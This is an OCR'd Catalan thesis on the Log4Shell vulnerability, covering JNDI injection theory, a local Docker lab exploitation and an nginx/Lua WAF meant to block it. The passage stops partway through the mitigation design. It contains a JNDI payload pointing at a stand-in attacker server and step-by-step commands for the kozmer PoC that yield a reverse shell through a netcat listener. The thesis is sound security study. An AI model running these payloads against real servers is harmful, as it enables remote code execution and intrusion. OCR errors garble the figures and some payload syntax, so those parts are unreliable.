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Vulnerabilitat Log4dJ, explotacid i mitigacio
amb ajuda d’un reverse proxy

Marc Caparrdos Moras

Resum- Al llarg de l'informe veurem les tasques executades durant el TFG centrat a la cibersegu-
retat, concretament a la vulnerabilitat log4j. El TFG es divideix en una primera part tedrica on es
tractaran diversos temes d’'interés. També parlaré sobre la vulnerabilitat Log4dJ, les afectacions que
va tenir i com pot ser explotada i per que. Seguidament, coneixerem qué és un Web Application
Firewall (WAF) i un proxy invers. Finalitzara amb una breu introduccié de les eines que s’han
utilitzat per fer el treball. La segona part, la part practica, esta dividida en dues parts. Primerament,
presentar la configuracié i explotacié d’una aplicacié que conté una versié vulnerable de log4j.
Posteriorment, aprendrem com configurar I'nginx com a proxy invers per interceptar el trafic HTTP
cap al servei web i, finalment, veurem com crear un modul per I'nginx perqué faci de WAF per
filtrar aquest trafic i aconseguir revocar totes les peticions malicioses que volen intentar explotar la
vulnerabilitat.

Paraules clau— Ciberseguretat, Vulnerabilitat, Log4J, JNDI, WAF, reverse proxy, proxy, nginx,
docker, Lua, Proof of concept (POC), Bypass, explotacio, mitigacio, trafic.

Abstract— Throughout the report we will see the tasks executed during the TFG focused on
cybersecurity, specifically on the log4j vulnerability. The TFG is divided into a theoretical first part in
which various topics of interest will be addressed. | will also talk about the Log4d vulnerability, the
effects it had and how it can be exploited and why. Next, we will know what is a Web Application
Firewall (WAF) and a reverse proxy. This part will end with a simple introduction of the tools that
have been used to perform the work. Practical part, the second part of the TFG, is also divided into
two parts. First, we will see how to configure and exploit an application that it contains a vulnerable
version of log4j. On the next part, we will learn how to configure nginx as a reverse proxy to intercept
HTTP traffic directed to the web service and, finally, we will see how to create a module for the nginx
to filter this traffic, like a WAF would, and revoke all the malicious requests that want to exploit the
vulnerability.

Keywords— Cybersecurity, vulnerability, Log4J, JNDI, WAF, reverse proxy, proxy, nginx, docker, Lua,
Proof of concept (POC), bypass, exploit, mitigation, traffic.
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1 INTRODUCCIO - CONTEXT DEL TREBALL

cuitat de tots els dispositius que fem servir, fan que
la ciberseguretat sigui cada vegada més fonamental
en el nostre dia a dia, ja que cada vegada més dades viatgen
per la xarxa. De la mateixa manera, els atacs informatics,
també anomenats ciberatacs, van en augment any rere any.

L’INCREMENT de I'tis de la xarxa Internet i la ubi-
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Durant la carrera, quan vaig realitzar 1’assignatura de
Xarxes 1, posteriorment, Tecnologies Avancades d’Internet
vaig comengar a interessar-me per la ciberseguretat. Final-
ment, quan vam comengar 1’assignatura de Garantia i Segu-
retat, la meva motivacié en aquesta branca de la informatica
va augmentar i vaig decidir endinsar-me en la cibersegure-
tat i aprendre per poder dedicar la meva carrera professional
a aquest ambit.

El passat desembre es va descobrir una vulnerabilitat en
una llibreria de “loggin” per a Java que va posar en alerta
a moltes empreses, ja que aquesta permetia a un ciberde-
linqiient executar codi de forma remota. En aquell moment
jo estava en una empresa a carrec d’una aplicacié com a de-
veloper i ens va afectar de primera ma. Vam estar uns dies
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esperant que sortis una actualitzacié de la llibreria per poder
estar protegits i, durant aquell petit temps vaig estar mirant
com funcionava la vulnerabilitat i perque era tan important.
A causa del meu interés i a la meva motivacié per la ci-
berseguretat, buscant informaci6 sobre la vulnerabilitat vaig
trobar certs videos on ensenyaven que amb ajuda d’aquesta
vulnerabilitat es podia explotar el conegut joc Minecraft i
aconseguir una reverse shell.

En aquells moments, ja tenia clar que volia orientar el
meu treball a un projecte de ciberseguretat, perd no sabia
ben bé quins temes podia proposar que fossin atractius. En
sortir la vulnerabilitat log4j i investigar sobre ella, em va
entrar la curiositat d’aprendre com podia aconseguir la re-
verse shell en el joc Minecraft. Aixi que vaig suggerir fer
el treball final de grau sobre la vulnerabilitat log4j. Des
del primer moment, el proposit de fer un treball enfocat en
aquest ambit ha sigut endinsar-me en el mén de la ciberse-
guretat i aprendre.

L’informe es divideix en quatre grups, un primer grup on
s’expliquen els objectius del treball, la metodologia utilitza-
da durant tot el projecte i la planificacié. Seguidament, un
altre grup per la part teorica on s’introdueixen els conceptes
que aniran sorgint al llarg de tot el treball. El tercer grup
correspon a la part practica la qual es divideix en dos apar-
tats; un primer on veurem com configurar un POC vulnera-
ble i com explotar-lo i, un segon dividit en dos subapartats
on primer es mostra com configurar I’nginx com a proxy in-
vers i després veurem el desenvolupament d’un modul per
I’nginx que actui com a WAF per mitigar totes les peticions
malicioses que vagin cap a 1’aplicacié. L’informe conclou
amb I’dltim grup on es detallen les conclusions extretes du-
rant el TFG, els agraiments, les referencies i els apendixs.

2 OBJECTIUS

L’ objectiu principal del treball es divideix en dos, primer de
tot en explotar la vulnerabilitat log4; i el segiient en desen-
volupar un modul pel reverse proxy nginx que intercep-
tara i analitzara qualsevol petici6 cap al servidor. Aquest
modul identificara diversos patrons de vulnerabilitat per re-
vocar qualsevol intent d’explotaci6 tal com les tecnologies
WAF ho fan actualment. No obstant, tot hi que existeixen
moduls amb una funcionalitat similar a la que implemen-
taré, com podria ser el modul “NAXSI” [1], I’objectiu no
és substituir-lo siné entendre com funcionen les tecnologi-
es de reverse proxy i dissenyar un modul que es comporti
de forma similar atenent, explicitament, a les intrusions per
culpa de la vulnerabilitat log4;.

Finalment, els objectius especifics del treball sén els
segiients:

* Analitzar les possibilitats d’explotacié i mitigacié de
la vulnerabilitat log4j

* Descriure la tecnologia WAF (Web Application Fi-
rewall), els proxy i els reverse proxy (concretament
nginx)

* Desenvolupar un modul d’nginx per protegir una apli-
cacio vulnerable

3 METODOLOGIA

Existeixen diversos tipus de metodologies per desenvolupar
un projecte. Podriem dividir-les en 4 grans categories que
estarien formades per la metodologia en cascada, la cadena
critica, les metodologies agil i la metodologia hibrida.

En el meu cas, com havia d’anar fent entregues continues
durant tot el quadrimestre, em vaig decantar cap a una meto-
dologia hibrida, on es combina la metodologia agil anome-
nada Scrum i una metodologia en cascada. Aquesta primera
es centre en “sprints”’en els quals es plantegen i planifiquen
uns objectius a complir i es treballa per complir-los. Scrum
esta destinat als equips que treballen en projectes comple-
X0s i que poden tenir una gran quantitat de canvis [2]. Vaig
decidir-me per aquesta metodologia, ja que, el treball plan-
tejat esta dins d’un camp que no coneixia gaire, per tant,
podia ser que durant el desenvolupament del projecte sor-
gissin diversos imprevistos que esdevinguessin en adaptaci-
ons en el treball i canvis en el plantejament. La segona me-
todologia, esta destinada a projectes amb un procediment
lineal, penso que aquesta metodologia ha sigut idonia per
la part teoria del meu treball, ja que en aquesta part he uti-
litzat un model cascada per apartats on he analitzat el que
volia explicar, després he redactat I’apartat i un cop acabat
I’he revisat i verificat per veure que tot fos correcte i hagués
explicat, de la millor manera, tot alld que volia explicar.

4 PLANIFICACIO

Per la planificaci6 del TFG he fet servir I’aplicacié gratuita
asana. Vaig escollir aquesta aplicacid, ja que hi estic fa-
miliaritzat perque és la que feia servir en el meu dia a dia
dins I’empresa en la qual treballava a I’inici del projecte.
Aquesta aplicacié permet afegir tasques i subtasques. Per
fer la planificacid, vaig crear les diverses tasques correspo-
nent a les entregues que havia de realitzar: Informe inicial,
Informe de progrés I, Informe de progrés II, Proposta in-
forme final, Proposta presentacid, Lliurament del Dossier,
Lliurament poster i Defensa TFG (Veure apendix A.1). Ca-
da una d’aquestes tasques la vaig considerar un sprint i, dins
d’aquestes vaig afegir les tasques que havia de dur a terme
durant la realitzacié de 1’sprint.

A causa d’un problema que vaig tenir amb la maquina
virtual (MV), concretament amb el virtualbox (VB), la pri-
mera part practica la vaig haver d’endarrerir. Just algunes
setmanes abans de comencar el treball, mentre m’estava
preparant per fer el treball i mirant quin Sistema Operatiu
feria servir durant el projecte vaig actualitzar el Virtual Box.
Per culpa de I’actualitzacid, les MV que instal-lava es blo-
quejaven poc temps després d’estar fent-les servir. Com no
recordava haver fet 1’actualitzacié del VB i que normalment
tenir ’dltima versié d’un programa no hauria de ser el pro-
blema, vaig plantejar-me diverses possibilitats per esbrinar
que estava passant. Primer que podia ser els parametres de
CPU, memoria, etc.. perd vaig provar diversos parametres i
res. Feia no gaire, també m’havia instal-lat una segona pan-
talla al meu portatil i vaig pensar que potser em consumia
massa i per aixo no funcionava, pero ni tenint-la desconnec-
tada es deixaven de bloquejar les MV. Finalment, I’tltima
opcid que em passava pel cap era anar curt de RAM, ja que
tenia 8GB, aixi que vaig comprar una ampliaci6 de RAM
per afegir-la a I’ordinador i tenir 16GB. Un cop instal-lada
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la RAM, tampoc vaig aconseguir solucionar el problema
que se’m bloquegés. Després d’hores i hores buscant una
solucid, vaig recordar que havia actualitzat el VB i vaig de-
cidir provar amb una versié més antiga del programa. Per
sort, en aquest moment vaig poder solucionar el problema i
seguir amb el treball.

Per culpa d’aquest imprevist, vaig haver de modificar la
planificacid i, la part practica que tenia plantejada realitzar
en el segon sprint (Informe de progrés I) la vaig realitzar en
el tercer (Informe de progrés II). Durant el segon sprint, a
part de centrar-me a solucionar el problema de la MV, també
vaig realitzar la part tedrica dels dos sprints per poder-me
focalitzar en la part practica un cop tingués solucionat el
problema.

5 PART TEORICA

5.1 Conceptes importants

La ciberseguretat és una disciplina de la informatica que
procura garantir la confidencialitat, integritat i disponibili-
tat dels sistemes informatics minimitzant les seves vulne-
rabilitats. Anomenem ciberseguretat a I’aplicacié de tec-
nologies, processos i controls per protegir sistemes, xarxes,
programes, dispositius i dades dels ciberatacs. L’ objectiu
és reduir els atacs i protegir de 1’explotacié no autoritzada
envers aquests equips [3].

Una vulnerabilitat és una debilitat en un sistema in-
formatic que pot ser explotada per un ciberdelinqiient per
violar la politica de seguretat del sistema. Pot ocorre a
través d’errors o debilitats en el disseny, la implementacid
i, inclds d’errors d’usuari. L’atacant intenta explotar un o
més d’aquestes falles per aconseguir I’objectiu final [4].

Quan parlem dels equips encarregats de la seguretat in-
formatica, principalment, podem centrar-nos en dos equips.
Per una banda, el red team que es compon de professionals
en la seguretat ofensiva i experts en atacar sistemes i trencar
les seves defenses. Per altra banda, el blue team es compon
de professionals en la seguretat defensiva de la xarxa interna
contra tots els ciberatacs i les amenaces [18]. Els dos equips
realitzen treball complementari per detectar vulnerabilitats,
prevenir atacs informatics i emular escenaris d’amenaga.

5.2 Logd4j vulnerability

Tota aplicaci6 normalment disposa d’un “loggin fra-
mework”que registra les activitats d’aquesta. Log4j és un
programari de codi obert (open source) desenvolupada per
Apache Software Foundation. Es una llibreria de “loggin”
per a Java, i és utilitzada per multitud d’empreses, serveis
i portals web. Durant el mes de desembre de 2021, es va
detectar una vulnerabilitat, identificada com a CVE-2021-
44228, en aquesta llibreria que permetia als atacants exe-
cutar codi remotament a qualsevol maquina [5] [6]. Molts
projectes de codi obert com sén el servidor del joc Mine-
craft, Hadoop, Spark, Kafka... van ser afectats per aquesta
vulnerabilitat. Fins hi tot, es va demostrar que simplement
canviant el nom d’un iPhone desencadenava la vulnerabili-
tat en els servidors d’ Apple [7].

Log4; utilitza una funcié de cerca anomenada Java Na-
ming and Directory Interface (JNDI) que consisteix en una

Application Programming Interface (API) i un Service Pro-
fiver Interface (SPI). INDI proporciona funcions de serveis
de nomenclatura i directoris a les aplicacions escrites en Ja-
va que els permet als clients descobrir i buscar objectes i da-
des a través d’un nom. Aquests objectes es poden enmma-
gatzemar en diferents serveis de noms i directoris, com Re-
mote Method Invocation (RMI), Common Object Request
Broker Architecture (CORBA), Lightweight Directory Ac-
cess Protocol (LDAP) o Domain Name Service (DNS). L’a-
plicacié Java pot accedir a aquests serveis de directoris fent
servir I’API JNDI que organitza els noms en una jerarquia.
Un nom pot ser qualsevol string i també pot ser un objecte
que suporti la interficie “Name”.

5.2.1 Arquitectura JNDI

L’ arquitectura JNDI consisteix en una API i un SPI (Veure
Figura 1). El SPI permet connectar-se de manera transpa-
rent a una varietat de serveis de nomenclatura i directori,
com per exemple DNS, LDAP, NIS, entre d’altres, perme-
tent aixi que I’aplicaci6 java que fa ds de I’API INDI acce-
deixi als seus serveis [8].

[ D AF ]
[ Haming Manager ]
[ - ! 4D SR ]

Rl [ |cones =

L]
Implameniatian

is || wos
@ @ @ Foasibiltias

Fig. 1: Arquitectura JNDI

x

5.2.2 Logdj - JNDI injection

Una aplicaci6 basada en java pot utilitzar JNDI +
LDAP per trobar un objecte que contingui dades
que necessiti. Per exemple, amb I’URL segiient:
“ldap://localhost:3xx/o=BusinessObjectID” ens serviria
per trobar i invocar remotament 1’objecte BussinessOb-
Jject del servidor LDAP que estaria corrent dins la mateixa
maquina en el port 3xx o també podria estar executant-se en
un servidor diferent o en qualsevol lloc d’Internet. Per tant,
a causa d’aquesta flexibilitat, si un atacant pogués controlar
I’URL d’LDAP seria capa¢ de provocar que un programa
Java instanciés una classe des d’un servidor LDAP sota el
seu control. Es a dir, si I’atacant pot controlar I’'URL JNDI,
pot provocar que I’aplicacid executi codi java [9].

Aix0 passa perque log4j conté una sintaxi especial “$pre-
fix:name” on el prefix es d’una serie de lookups on s’ha
d’avaluar el nom. Aquests lookups proporcionen una for-
ma d’afegir valors a la configuracié de Log4j. Per exemple,
“$java:version” és la versié actual de Java. Log4J va afegir
un lookups que deia el segiient:

“The JndliLookup allows variables to be retrieved via
JNDI. By default the key will be prefixed with
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“,

Jjava:comp/env/, however if the key contains a “:
will be added” .

no prefix

Per tant, el que ha de fer un atacant és trobar una entra-
da que es registri dins 1’aplicacid, com podria ser el camp
“usuari” del login d’una aplicacid, i afegir una cadena sem-
blant a la segiient: “$jndi:ldap.//attackerserver.com/x” [6].
Si un ciberdelingiient pot controlar 1’argument d’una opera-
ci6 cap a un JNDI lookup, aquest podra executar codi remot
en el servidor que realitza el lookup. L atacant podra apun-
tar aquest lookup cap a un servei sota el seu control i retor-
nar una referencia a JNDI que esta utilitzant una aplicacié
remota per la creacié d’objectes [10].

En resum, JNDI és una API de Java que conté diversos /o-
okups com “InitialContext.lookup(String name)” que agafa
un parametre string i, si aquest parametre prové d’una font
que no és de confianga, podria conduir a I’execucié remo-
ta de codi a través d’una classe remota. Quan un atacant
controla el nom de 1’objecte sol-licitat, és possible dirigir
I’aplicacié victima Java a un servidor RMI, LDAP, DNS... i
respondre amb un objecte arbitrari.

5.3 Web Application Firewall

Un Web Application Firewall (WAF) és una forma es-
pecifica de firewall d’aplicacions que filtra, supervisa i blo-
queja el trafic HTTP cap a un servei web. La funcié del
WAF és garantir la seguretat del servidor web mitjancant
I’analisi de paquets de les peticions HTTP / HTTPS i mo-
dels de trafic.

El WAF examina cada petici6é enviada cap al servidor,
abans que arribi a 1’aplicacid, per assegurar que compleix
les regles del firewall [11].

5.4 Proxy & reverse proxy

Els serveis online (llocs web i aplicacions web) tenen lloc
a través de les xarxes publiques. La connexié directa amb
Internet fa que els sistemes siguin propensos a la intrusié
de programari maliciés (malware) i a robatoris manuals.
Per disminuir els atacs cap als usuaris i serveis online, van
apareixer els servidors proxy [12].

La tasca basica d’un servidor proxy és fer-ser carrec, com
a delegat, de les sol-licituds dels clients a un servidor i
enviar-les amb ’adreca IP adequada a 1’ordinador de desti.
En aquest tipus de connexid no existeix una connexié direc-
ta entre el destinatari i el remitent. En la majoria d’ocasions,
ni el sistema al qual es fan les sol-licituds ni I’ordinador de
desti sén coneixedors de I’existéncia d’un proxy entremig.
Els servidors proxy poden funcionar en dos sentits. Per una
banda, un proxy de reenviament (forward proxy) que ser-
veix per protegir als usuaris i, per altra banda, un proxy
invers (reverse proxy) que protegeix un servei web.

Un forward proxy és I’intermediari situat entre ’usuari i
els serveis d’internet (pagines web) tal com es mostra el la
figura 2 [8].

Aquesta estructura ajuda als clients a tenir un accés con-
trolat a Internet. D’aquesta manera el proxy canalitza les
sol-licituds procedents de la xarxa interna i les transmet al
servidor de desti situat a internet. Aquest servidor no co-
neix la IP de I’usuari sind la del servidor proxy. Les respos-
tes dels servidors aniran al proxy i aquest les reenviara als

Internet

O

1
— ()
1

User3

Fig. 2: Servidor Proxy

clients que es mantindran en I’anonimat respecte al servei
web.

Per altra banda, els servidors també necessiten estar pro-
tegits davant de peticions potencialment malicioses per po-
der millorar la seva accessibilitat i seguretat. En aquest cas,
el servidor instal-la un reverse proxy que apareixera com a
desti al client. Aquest servidor es situa entre el servei i In-
ternet com es mostra en la Figura 3 [13].
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Fig. 3: Reverse Proxy

5.5

En aquest apartat de I’informe, es descriuen les eines utilit-
zades per portar a terme aquest projecte.

Eines utilitzades

5.5.1 Kali Linux

Kali Linux €és una distribucié de Linux, basada en Debian,
especificament dissenyada per a temes de seguretat molt va-
riats. Conté diverses eines per fer diverses proves de segu-
retat i analisis. [14]

5.5.2 Docker

La tecnologia de contenidors Docker es va llangar el 2013
com a Docker Engine de codi obert.

Va aprofitar els conceptes informatics existents al voltant
dels contenidors i, concretament, als de Linux. La tecnolo-
gia de Docker és tinica perque es centra en els requisits dels
desenvolupadors i operadors de sistemes per separar les de-
pendencies de les aplicacions de la infraestructura [15].

5.5.3 Nginx

Nginx és un programa de codi obert pel servei web, “re-
verse proxing”, “caching”, balanceig de carrega, etc... Va
comencar com a servidor web dissenyat per maximitzar el
rendiment i I’estabilitat. A més de les capacitats com a
servidor HTTP, nginx també pot funcionar com a servidor
proxy pel correu electronic (IMAP, POP- i SMTP) i com un
proxy invers i balancejador de carrega per servidors HTTP,
TCP i UDP [16].

Durant la part practica del treball veurem com configurar
I’nginx com a proxy invers per poder analitzar, amb ajuda
d’un modul programat amb Lua, totes les peticions que es
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facin cap a I’aplicaci6 i revocar totes aquelles que intentin
aprofitar-se de la vulnerabilitat.

5.54 Lua

Lua és un llenguatge de programacié compatible amb la
programacié orientada a objectes (OOP), la programaci6
funcional (FP), la programaci6 procedimental, la programa-
ci6 dirigida per dades.

Lua combina una sintaxis de procediments simples amb
poderoses construccions de descripcié de dades basades en
matrius asociatives i semdntica extensible.

6 PART PRACTICA

Per poder realitzar la part practica del Treball Final de
Grau (TFG) he fet servir una maquina virtual amb el Sis-
tema Operatiu (OS) “Kali Linux” com a eina principal de
treball. Per la instal-lacié d’aquesta he fet servir el pro-
grama VirtualBox juntament amb un arxiu virtualitzable
“.ova”descarregat de la pagina principal de Kali.

Aquest entorn m’ha permes desplegar les dues arquitec-
tures necessaries per realitzar el treball. En la primera part,
desplegarem un docker que contindra 1’aplicacié vulnerable

(Veure imatge 4).

. docker
Kali Linux _ Vulnerable
I—F'j ; Applicaiton
™ | | "—IFF (
» -

Fig. 4: Esquema primera part

Per la segona part del treball, desplegarem un nou con-
tenidor entre el "Kali Linux” i I’aplicacié. Aquest conté el
proxy invers nginx i el modul de lua. Els usuaris es connec-
taran al proxy i aquest reenviara les peticions, previament
analitzades pel modul lua que actuara com un WAF, cap a
I’aplicaci6 (Veure imatge 5).
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v

Fig. 5: Esquema segona part

6.1 Configuracio del POC

Un proof of concept (POC) és una demostracié per vali-
dar certs conceptes i/o teories. En el cas dels POCs realit-
zats per les vulnerabilitats serveixen per demostrar com un
ciberdelinqiient podria aprofitar-se d’aquesta vulnerabilitat
per introduir-se en el sistema informatic [17].

Per la realitzacié de la part practica del TFG he fet ser-
vir un POC creat per I'usuari de GitHub “kozmer” [18].

Aquest ens proporciona una aplicacié d’apache amb la ver-
si6 vulnerable de log4j que podrem inicialitzar amb I’ajuda
de docker i un exploit en python per poder configurar el ser-
vidor LDAP i aprofitar-nos de la vulnerabilitat per introduir-
nos dins el contenidor docker.

Per la configuracié del POC, primer creem un directori
anomenat POC 1, dins d’aquest ens baixarem tot el codi de
GitHub amb la comanda “git clone”:

“git clone https.//github.com/kozmer/log4j-shell-poc”

Un cop tenim tots els fitxers descarregats, accedim al di-
rectori i crearem la imatge Docker amb la comanda:

“sudo docker build —t log4j-shell-poc .”

Aquesta comanda ens permet crear una imatge docker,
amb nom “log4j-shell-poc” gracies al parametre “-t”, a par-
tir d’un Dockerfile situat en el directori actual (per aix0 afe-
gim el “.” final). Aquesta imatge és la que contindra I’apli-
cacio tomcat vulnerable. Podem comprovar que s’hagi creat
la imatge correctament utilitzant la comanda “sudo docker
images”.

Fig. 6: Imatges creades

Com podem veure en la figura 6, se n’han creat dues, una
primera que és la principal que fa de base per a la nostra
personalitzada (log4j-shell-poc). Un cop tenim la imatge
creada hem de crear un contenidor per poder accedir a 1’a-
plicacié. Per fer-ho farem servir la comanda “sudo docker

”,

run”:
“sudo docker run —network host log4j-shell-poc”

Un cop el contenidor esta corrent, ja podem accedir al’a-
plicacié vulnerable a través del nostre navegador accedint a
FHocalhost:8080”. També podem accedir a través de la IP
del contenidor que podem visualitzar des d’un nou terminal
amb la comanda ip a”.

Hello Again!

Welcome Back

GoFinance

‘The most popular peer to peer lending at SEA

Forgot Password ?

Fig. 7: Aplicaci6 vulnerable

Aixi doncs, un cop finalitzats tots aquests passos ja tenim
I’aplicacié vulnerable corrent en el contenidor que acabem
de crear i podem passar al segiient pas que és aprofitar-nos
de la llibreria log4j per accedir al contenidor. Per poder fer
I’explotacid, ens ajudarem de 1’script en python “poc.py”
per inicialitzar, localment, el servidor LDAP. No obstant,
aquest script té una versié de “Java Development Kid”
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(JDK) que no he aconseguit trobar de forma gratuita, per
tant, he decidit descarregar una versié superior i modificar
algunes linies de I’arxiu. Per descarregar el JDK he fet ser-
vir la comanda “wget” per obtenir 1’arxiu comprimit i I’he
descomprimit amb la comanda “tar”.

“wget https://mirrors.huaweicloud.com/java/jdk/Su202-
b08/jdk-8u202-linux-x64.tar.gz”
“tar —xf jdk-8u202-linux-x64.tar.gz”

Un cop descomprimit I’arxiu, he modificat I’arxiu
“poc.py” amb I’editor “vi” indicant el nou JDK. Ara que ja
tenim configurat el servidor LDAP, podem posar en marxa
el servidor amb la segiient comanda:

“python3 poc.py —userip localhost —webport 8000 —Iport
9001~

~/Documents/POC/logaj-shell-pi
0 y localhost 8 9001

SystemAAFontSettings=on -Dswing.aatext=true

Fig. 8: Servidor LDAP corrent

Com podem veure en la sortida per consola del servi-
dor (veure figura 8), aquesta ens déna una cadena que és
la que ens permetra aprofitar-nos de 1’aplicacié vulnerable
($jndi:1dap://localhost:1389/a). Degut al lookup de INDI si
introduim aquesta cadena dins el camp “username” (entra-
da que registra dins I’aplicacié) aconseguirem una connexié
cap al nostre servidor LDAP. Abans d’introduir la cadena,
primer haurem d’obrir una nova consola per inicialitzar el
netcat que ens permetra interceptar la connexi6 i aconseguir
una “reverse Shell” dins del contenidor docker que conté
I’aplicacié vulnerable. Per inicialitzar el netcat, fem servir
la comanda:

“nc —lvnp 9001~

Un cop tenim corrent 1’aplicaci6 i el servidor LDAP i,
també, una consola escoltant amb netcat, ja podem intro-
duir la cadena en el camp “username”. Un cop li donem a
login, introduint qualsevol contrasenya o, simplement dei-
xant el camp buit, en el terminal on tenim el nefcat ens apa-
reixera la connexi6 al contenidor. Hem aconseguit una “re-
verse Shell” i estem dins de la imatge docker explotant la
vulnerabilitat Log4]. Per fer la comprovacié podem utilitzar
comandes com “pwd”, “Is” 1 “whoami” per comprovar en
quin directori estic, el contingut d’aquest i amb quin usuari
estic connectat respectivament.

6.2 Mitigaci6 vulnerabilitat logdj

Per la segona part practica del TFG, he continuat fent ser-
vir la maquina virtual de “Kali Linux” com a eina principal
del treball. Per realitzar aquesta part, crearem un nou direc-
tori, dins el directori POC creat anteriorment, per guardar
tots els arxius que necessitarem per aquesta part. Dins d’a-
questa carpeta copiarem la carpeta de GitHub que haviem

descarregat en la primera part per poder fer servir 1’aplica-
ci6 i no afectar a la configuracid feta previament. També
afegirem una nova carpeta “nginx” on, dins d’aquesta, cre-
arem tots els fitxers necessaris per a la seva configuracié
(nginx.conf), el modul que farem servir per analitzar les pe-
ticions (module.lua) i un Dockerfile per configurar I’nginx
dins d’un Docker.

6.2.1 Configuracié nginx com a proxy invers

El primer objectiu va ser aconseguir fer que 1’nginx es com-
portés com un proxy invers i totes les peticions cap al servi-
dor passessin primer per 1’'nginx. Per fer-ho modificarem el
fitxer “nginx.conf” i afegirem la segiient configuracio:

pass http

Fig. 9: Fitxer nginx.conf

* “worker_processes auto;” defineix el nombre de pro-
cessos que treballaran, el nombre Optim depen del
nombre de cores que tingui la nostra CPU. En el meu
cas, he posat auto, ja que no necessito gaires cores tre-
ballant.

o “worker_connections 1024;” Estableix el nombre
maxim de connexions simultanies que poden ser su-
portades per cada procés.

* “listen 80;” defineix a quin port escoltara el servidor
nginx.

* “location /” Al posar com a location “/” coincidira
amb totes les peticions i, en cas de no trobat-se coin-
cidencies també s’utilitzara.

* “proxy_pass http://172.16.238.1:8080; ” indica que to-
tes les peticions seran reenviades cap a la URL indica-
da. En el nostre cas, la del POC.

Un cop tenim la configuracié de 1’nginx per poder-lo uti-
litzar com a proxy invers, passem a la creacié d’un conte-
nidor pel qual passaran totes les peticions cap a I’aplicacid.
El contingut del Dockerfile per aquest nou contenidor és la
segiient:

-2t Dockerfile
FROM nginx

COPY nginx.conf /fetc/ngi ginx.conf

Fig. 10: Fitxer Dockerfile

El camp FROM fa referencia a la imatge base sobre la
qual treballarem [19] i el camp COPY serveix per copiar el
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fitxer nginx.conf al directori “/etc/nginx/” de la imatge i,
d’aquesta manera, poder-lo configurar.

Amb aquesta configuracié aconseguirem que quan en-
trem a “localhost” ens redirigeixi a dins del POC. Un cop
tenim els fitxers de configuracid, hem de crear la imatge que
farem servir. Per fer-ho anem al directori que haviem creat
i creem la imatge “nginxproxy” a partir del Dockerfile que
hem creat. Per fer-ho utilitzarem la segiient comanda:

“sudo docker build —t nginxproxy nginx/.”

Un cop tenim la imatge nginx creada, creem la imatge de
I’aplicacié com vam fer a la primera part. “sudo docker
build —t log4j-shell-poc log4j-shell-poc/.” En aquest cas,
hem d’afegir el directori en la segona part de la comanda
junt amb el “.”, ja que no estem dins del directori que conté
el Dockerfile. Per fer el “docker run” de les dues imatges
al mateix temps, he creat un fitxer docker-compose.yml a
I’arrel del directori amb el contingut segiient:

-[~/Documents/POC/nginx-log4j ]
r-compose.yml

log4j-shell-poc

nginxproxy

Fig. 11: Fitxer docker-compose.yml

D’aquesta manera amb només un “sudo docker-compose
up” es crearan dos contenidors a partir de la imatge log4j-
shell-poc 1 nginxproxy que sén les que hem creat anterior-
ment. De la mateixa manera que al contenidor del POC
assignavem la xarxa host, en el docker compose I’hem de
crear com es mostra al final de la figura 11 i assignar-la amb
el “network: - host” dins el servei que utilitzara la xarxa.
Després d’utilitzar la comanda ja tenim els dos contenidors
funcionant i connectats. Per tant, si obrim el firefox i acce-
dim a “localhost” veiem I’ aplicacié vulnerable sense haver
d’introduir la IP. També podem evitar el proxy invers si ac-
cedim a “localhost:8080".

6.2.2 Configuracié modul d’nginx

Com que la imatge docker “nginx” és una imatge molt sim-
ple, per poder programar i configurar el modul d’nginx hem
de canviar d’imatge i fer servir la imatge “openresty”[20].
Per poder fer servir aquesta imatge i programar el modul,
necessitarem modificar el Dockerfile per el segiient:

Hem d’afegir tres linies amb el camp RUN per fer un up-
date dels paquets de la imatge i instal-lar els paquets ne-
cessaris pel modul d’nginx. Dins de la imatge crearem
un directori on afegirem el fitxer module.lua i nginx.conf
en els directoris corresponents amb el camp COPY. Del
fitxer “docker-compose.yml”’he modificat els ports (80:80)
pels ports (8085:8085) per obrir el port d’entrada 8085 del

WORKDIR |
RUN mkdir

COPY nginx.conf conf/
COPY module.lua lua/

Fig. 12: Fitxer Dockerfile

docker d’nginx, per tant, per entrar a I’aplicacié sera per
“localhost:8085”.

El fitxer nginx.conf també s’ha de modificar, ja que no
podem realitzar un “proxy_pass” directament al docker de
I’aplicacié sin6 que aquest redireccionament dependra de
I’analisi que realitzi el modul d’nginx per rebutjar totes
aquelles peticions malicioses que no volem que arribin al
servidor. La nova configuracio é€s la segiient:

"module”

Fig. 13: Fitxer nginx.conf

Perqu¢ el modul de lua funcioni hem d’afegir
“lua_package_path” per indicar en quin directori trobara el
modul de lua y tots els paquets instalats. També hem hagut
d’afegir una variable “$proxy” que sera la que modificarem
dins el modul de lua. Finalment, utilitzarem la funcié “rew-
rite_by_lua_block...” per cridar a la funcié principal logj-
Detection() que es troba dins el module.lua que ens servira
capturar la petici6 i analitzar-la.

Dins de les peticions HTML, que s’envien cap al servidor
tomcat on esta corrent I’aplicacid, existeixen dues parts: la
part de capcaleres (Headers) i la part del cos (Body). En
un principi, com per fer 1’explotacié només utilitzava els
camps del formulari, vaig buscar en quina part de la peticié
es trobaven aquests camps. Vaig comprovar tant els hea-
ders com el body i vaig veure que el contingut del camp
“Username”de 1’aplicacié es trobava dins el camp “argu-
ments”del body i vaig decidir construir el modul a partir
d’aquest camp i elaborar 1’analisi del seu contingut. Un cop
tenia el modul llest per analitzar i comprovar que no s’ha-
gués escrit, en la peticid, la cadena maliciosa per intentar
aprofitar-se de la vulnerabilitat, parlant amb el meu tutor,
vaig adonar-me que un ciberdelingiient, amb molts conei-
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xements, podria amagar la cadena en qualsevol lloc de la
peticié. Es a dir, ambdés parts de la peticié poden ser modi-
ficades amb intencions malicioses, per tant, dins del modul
havia d’analitzar les dues parts. En capturar cada una de les
parts, vaig poder comprovar com el tipus de dades no és el
mateix, per tant, havia de tractar de forma diferent tant els
headers, que son de tipus Table, com el body, que és de ti-
pus String. També, al mirar el contingut del body sense anar
a buscar especificament els arguments i el camp “userna-
me”els caracters “$”, “{”, “:” 1 “}”, necessaris en la cadena
maliciosa, estaven en format HTML [21], per tant, havia de
buscar les diverses possibilitats de bypass que existien per
explotar la vulnerabilitat i tenir-les en compte [22].

Per poder analitzar si dins de la petici6 HTML esta con-
tinguda alguna de totes les possibilitats d’explotaci6 i by-
pass, he decidit crear un array de les diferents cadenes i
comprovar si existeixen o no dins la peticié. A més, al ser
un array, si apareguessin noves oportunitats d’explotacié o
de bypass sempre es podria ampliar sense necessitat de mo-
dificar altres linies de codi. Per fer la comprovacié de si
algun element de I’array estava contingut dins els headers
o el body, he creat la funcif fillVariable(request, data) que
retorna una variable de tipus string. Aquesta ajunta els ele-
